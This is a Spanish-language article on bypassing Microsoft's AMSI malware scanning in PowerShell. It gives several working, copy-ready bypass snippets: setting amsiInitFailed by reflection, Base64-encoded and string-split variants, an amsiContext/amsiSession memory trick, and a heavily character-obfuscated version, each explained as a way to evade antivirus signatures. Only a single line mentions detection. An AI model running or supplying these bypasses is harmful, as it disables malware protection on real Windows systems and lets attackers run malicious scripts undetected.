
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed', 'NonPublic,Static').SetValue($null, $true)
Como explicó f-secure en una de sus excelentes publicaciones de blog: Leer más sobre AMSI Bypasses
AMSI es una interfaz en la que las aplicaciones o servicios (incluidos los de terceros) pueden escanear el contenido de un script en busca de uso malicioso. Si el proveedor de servicios antimalware AMSI (Windows Defender de forma predeterminada) registra una firma en el script, se bloqueará.
Para poner esto en contexto, considere los siguientes pasos que sigue PowerShell para integrarse con AMSI:
Cuando se crea un proceso de PowerShell, AMSI.DLL se carga desde el disco a su espacio de direcciones.
Dentro de AMSI.DLL, hay una función conocida como AmsiScanBuffer(), esencialmente la función utilizada para escanear el contenido de un script.
En el símbolo del sistema de PowerShell, cualquier contenido proporcionado se enviará primero a AmsiScanBuffer(), antes de que se lleve a cabo cualquier ejecución.
Posteriormente, AmsiScanBuffer() verificaría con el antivirus registrado para determinar si se ha creado alguna firma.
Si el contenido se considera malicioso, será bloqueado.
Dado que AMSI depende de ser cargado dentro del proceso que ejecuta el script real, las técnicas para romper o parchar funciones específicas dentro de amsi.dll son bien conocidas.
Todas las técnicas demostradas se basan en la manipulación de la biblioteca amsi.dll dentro del proceso operativo; la detección de manipulación genérica es clave.
La AMSI es una interfaz diseñada por Microsoft para detectar y bloquear la ejecución de scripts maliciosos en tiempo real. Sin embargo, su mecanismo de detección se basa en firmas específicas, lo que permite que técnicas de ofuscación, como la codificación en Base64, puedan eludir estas defensas.
Fabian Mosch demostró que al codificar en Base64 ciertas cadenas que activan la AMSI, como 'AmsiUtils' y 'amsiInitFailed', y decodificarlas en tiempo de ejecución, es posible evadir la detección. Esta técnica se basa en establecer el indicador 'amsiInitFailed' en 'true', lo que desactiva la capacidad de escaneo de la AMSI para el proceso actual.
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed', 'NonPublic,Static').SetValue($null, $true)
$amsiUtils = [Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QQBtAHMAaQBVAHQAaQBsAHMA')) $amsiInitFailed = [Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA==')) [Ref].Assembly.GetType('System.Management.Automation.' + $amsiUtils).GetField($amsiInitFailed, 'NonPublic,Static').SetValue($null, $true)
Codificación de Cadenas Sensibles: Las cadenas 'AmsiUtils' y 'amsiInitFailed' se codifican en Base64 para evitar la detección por firmas estáticas.
Decodificación en Tiempo de Ejecución: Durante la ejecución del script, las cadenas codificadas se decodifican utilizando [Text.Encoding]::Unicode.GetString([Convert]::FromBase64String(...)).
Acceso y Modificación del Campo: Se accede al tipo 'System.Management.Automation.AmsiUtils' y se modifica el campo 'amsiInitFailed' a 'true', desactivando así la AMSI para el proceso actual.
Otra técnica para evadir la AMSI implica forzar una falla en su inicialización, lo que impide que la interfaz realice escaneos en el proceso actual. Originalmente, Matt Graeber descubrió que al establecer el campo 'amsiInitFailed' en 'true', se desactiva la AMSI. Sin embargo, debido a que esta técnica se basa en cadenas específicas, las soluciones antivirus han desarrollado firmas para detectarla.
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed', 'NonPublic,Static').SetValue($null, $true)
$w = 'System.Management.Automation.A'; $c = 'si'; $m = 'Utils' $assembly = [Ref].Assembly.GetType(('{0}m{1}{2}' -f $w, $c, $m)) $field = $assembly.GetField(('am{0}InitFailed' -f $c), 'NonPublic,Static') $field.SetValue($null, $true)
Ofuscación de Cadenas: Las cadenas 'AmsiUtils' y 'amsiInitFailed' se dividen y concatenan dinámicamente para evitar la detección por firmas estáticas.
Acceso y Modificación del Campo: Se accede al tipo 'System.Management.Automation.AmsiUtils' y se modifica el campo 'amsiInitFailed' a 'true', desactivando la AMSI para el proceso actual.
Adam Chester propuso una variante que intenta forzar un error de manera legítima, sin utilizar directamente las cadenas detectables. Esta técnica asigna una región de memoria para 'amsiContext' y establece 'amsiSession' en null, lo que provoca un error y desactiva la AMSI.
$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076) [Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiContext", "NonPublic,Static").SetValue($null, [IntPtr]$mem) [Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiSession", "NonPublic,Static").SetValue($null, $null)
$fwi=[System.Runtime.InteropServices.Marshal]::AllocHGlobal((9076+8092-8092));[Ref].Assembly.GetType("System.Management.Automation.$([cHAr](65)+[cHaR]([byTe]0x6d)+[ChaR]([ByTe]0x73)+[CHaR]([BYte]0x69)+[CHaR](85*31/31)+[cHAR]([byte]0x74)+[cHAR](105)+[cHar](108)+[Char](115+39-39))").GetField("$('àmsìSessîõn'.NoRMALiZe([char](70+54-54)+[cHaR](111)+[cHar](114+24-24)+[chaR](106+3)+[chAR](68+26-26)) -replace [CHAR](24+68)+[chaR]([BytE]0x70)+[CHar]([bYtE]0x7b)+[cHAr](77+45-45)+[chaR](62+48)+[CHAR](125*118/118))", "NonPublic,Static").SetValue($null, $null);[Ref].Assembly.GetType("System.Management.Automation.$([cHAr](65)+[cHaR]([byTe]0x6d)+[ChaR]([ByTe]0x73)+[CHaR]([BYte]0x69)+[CHaR](85*31/31)+[cHAR]([byte]0x74)+[cHAR](105)+[cHar](108)+[Char](115+39-39))").GetField("$([char]([bYtE]0x61)+[ChaR]([BYte]0x6d)+[Char](55+60)+[chAr](105+97-97)+[CHAr]([byTe]0x43)+[ChaR](111+67-67)+[char]([BytE]0x6e)+[cHaR]([bYtE]0x74)+[cHAr](101)+[CHar](120)+[cHAR](116))", "NonPublic,Static").SetValue($null, [IntPtr]$fwi);
Manipulación de memoria: Se reserva un bloque de memoria con AllocHGlobal y se asigna a amsiContext, lo que altera su funcionamiento.
Anulación de sesión AMSI: Se fuerza la variable amsiSession a null, interrumpiendo el flujo normal de AMSI.
Evitar detección por firmas: Mediante la ofuscación de cadenas (char manipulado y Normalize()), se esquivan las reglas de detección de antivirus modernos.